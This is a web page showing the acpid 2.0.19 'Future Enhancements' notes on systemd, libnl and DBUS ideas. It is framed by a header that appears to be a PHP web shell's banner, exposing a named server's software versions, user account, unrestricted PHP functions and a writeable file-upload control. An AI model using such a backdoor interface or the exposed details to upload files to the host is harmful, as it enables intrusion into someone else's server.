Server : Apache/2.4.62 (Unix) OpenSSL/1.0.2k-fips System : Linux server1.richineiserver.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : fdshops ( 1003) PHP Version : 8.2.21 Disable Function : NONE Directory :  /usr/share/doc/acpid-2.0.19/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

Future Enhancements
-------------------

* systemd support
  - Support receiving unix sockets from systemd.
  - Make daemonize() do what's right for systemd.
  - Can we auto-detect systemd?  Maybe the presence of the environment vars
    for the unix sockets?
  - Maintain compatibility with upstart, etc...

* Look into using libnl for netlink
  - Can this be done?  Is it a good idea?

OLD IDEAS

* DBUS support
  - Do we really need DBUS support?  Probably not.
  - Tim says this would be easy to implement.  He mentioned "mced" which
    is similar to acpid and handles DBUS.
    http://code.google.com/p/mcedaemon/
  - Everyone seems to agree that the whole point of acpid is
    to avoid the big desktop stuff, and therefore, this is probably
    not a good idea.
  - However, there are still pieces of those big desktop environments that
    connect to acpid via sockets.  DBUS should be a nicer interface.
  - Implement with a build-time option to turn it on/off?  This way users
    can reduce the dependencies if they want.  Or can we detect the presence 
    of DBUS at runtime?

* Allow socket-connected clients to filter incoming events
  - This might be useful on older laptops that used to generate a slew
    of events. I think that on modern hardware, this is not needed.